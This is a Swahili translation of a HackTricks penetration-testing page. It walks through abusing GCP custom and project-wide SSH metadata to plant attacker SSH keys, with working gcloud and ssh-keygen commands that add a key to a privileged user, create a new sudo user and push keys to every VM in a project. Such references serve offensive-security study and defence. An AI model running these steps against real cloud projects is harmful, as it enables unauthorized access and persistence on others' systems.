GCP - Add Custom SSH Metadata

GCP - Ongeza Metadata ya SSH ya Desturi

Support HackTricks

Kubadilisha metadata

Kubadilisha metadata kwenye kifaa kinaweza kusababisha hatari kubwa ya usalama ikiwa muhusika anapata ruhusa zinazohitajika.

Kuingiza Vipindi vya SSH kwenye Metadata ya Desturi

Kwenye GCP, mifumo ya Linux mara nyingi hutekeleza hati kutoka kwa Mazingira ya Mgeni wa Linux wa Google Compute Engine. Sehemu muhimu ya hii ni daemon ya akaunti, ambayo imeundwa kwa ajili ya kuangalia mara kwa mara kwenye kifaa cha metadata kwa mabadiliko kwenye funguo za umma za SSH zilizoidhinishwa.

Hivyo, ikiwa muhusika anaweza kubadilisha metadata ya desturi, anaweza kufanya daemon ipate funguo mpya za umma, ambazo zitashughulikiwa na kuingizwa kwenye mfumo wa ndani. Funguo itaongezwa kwenye faili ya ~/.ssh/authorized_keys ya mtumiaji aliyopo au labda kuunda mtumiaji mpya mwenye sudo ruhusa, kulingana na muundo wa funguo. Na muhusika ataweza kuhatarisha mwenyeji.

Ongeza funguo ya SSH kwa mtumiaji aliye na ruhusa

  1. Angalia Funguo za SSH Zilizopo kwenye Kifaa:

  • Tekeleza amri ya kuelezea kifaa na metadata yake ili kutambua funguo za SSH zilizopo. Sehemu inayofaa kwenye matokeo itakuwa chini ya metadata, kwa usahihi funguo ya ssh-keys.

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • Tilia maanani muundo wa funguo za SSH: jina la mtumiaji linatangulia funguo, likitenganishwa na mabano.

  1. Andaa Faili ya Maandishi kwa Metadata ya Funguo ya SSH:

  • Hifadhi maelezo ya majina ya watumiaji na funguo zao za SSH zinazolingana kwenye faili ya maandishi iliyoitwa meta.txt. Hii ni muhimu kwa kuhifadhi funguo zilizopo wakati wa kuongeza mpya.

  1. Tengeneza Funguo Mpya ya SSH kwa Mtumiaji wa Lengo (alice kwenye mfano huu):

  • Tumia amri ya ssh-keygen kutengeneza funguo mpya ya SSH, hakikisha kuwa uga wa maoni (-C) unalingana na jina la mtumiaji wa lengo.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Ongeza funguo ya umma mpya kwenye meta.txt, ikifanana na muundo uliopatikana kwenye metadata ya kifaa.

  1. Sasisha Metadata ya Funguo ya SSH ya Kifaa:

  • Tumia amri ya gcloud compute instances add-metadata kuomba metadata iliyosasishwa ya funguo ya SSH kwenye kifaa.

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Fikia Kifaa Kwa Kutumia Funguo Mpya ya SSH:

  • Unganisha kifaa kwa SSH ukitumia funguo mpya, ukipata upatikanaji wa kabati katika muktadha wa mtumiaji wa lengo (alice kwenye mfano huu).

ssh -i ./key alice@localhost
sudo id

Unda mtumiaji mpya aliye na ruhusa na ongeza funguo ya SSH

Ikiwa hakuna mtumiaji wa kuvutia anapatikana, ni rahisi kuunda mpya ambaye atapewa ruhusa za sudo:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

Vyeo vya SSH kwa kiwango cha mradi

Inawezekana kupanua ufikiaji wa SSH kwa Mashine za Virtual (VMs) nyingi katika mazingira ya wingu kwa kuomba vyeo vya SSH kwa kiwango cha mradi. Mbinu hii inaruhusu ufikiaji wa SSH kwa kila kifaa ndani ya mradi ambao haujazuia wazi vyeo vya SSH kwa kiwango cha mradi. Hapa kuna mwongozo uliofupishwa:

  1. Tumia Vyeo vya SSH kwa Kiwango cha Mradi:

  • Tumia amri gcloud compute project-info add-metadata kuongeza vyeo vya SSH kutoka meta.txt kwenye metadata ya mradi. Hatua hii inahakikisha kuwa vyeo vya SSH vinatambuliwa kote kwenye VMs zote katika mradi, isipokuwa kama VM ina chaguo la "Block project-wide SSH keys" limezimwa.

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. SSH kuingia kwenye Vifaa Kwa Kutumia Vyeo vya Kiwango cha Mradi:

  • Kwa kuwa vyeo vya SSH kwa kiwango cha mradi vipo, unaweza kuingia kwa SSH kwenye kifaa chochote ndani ya mradi. Vifaa ambavyo havizuiliwi na vyeo vya SSH kwa kiwango cha mradi vitakubali kyeo cha SSH, kutoa ufikiaji.

  • Njia moja ya moja kwa moja ya kuingia kwa SSH kwenye kifaa ni kutumia amri gcloud compute ssh [INSTANCE]. Amri hii hutumia jina lako la sasa la mtumiaji na vyeo vya SSH vilivyowekwa kwa kiwango cha mradi kujaribu ufikiaji.

Marejeo

Last updated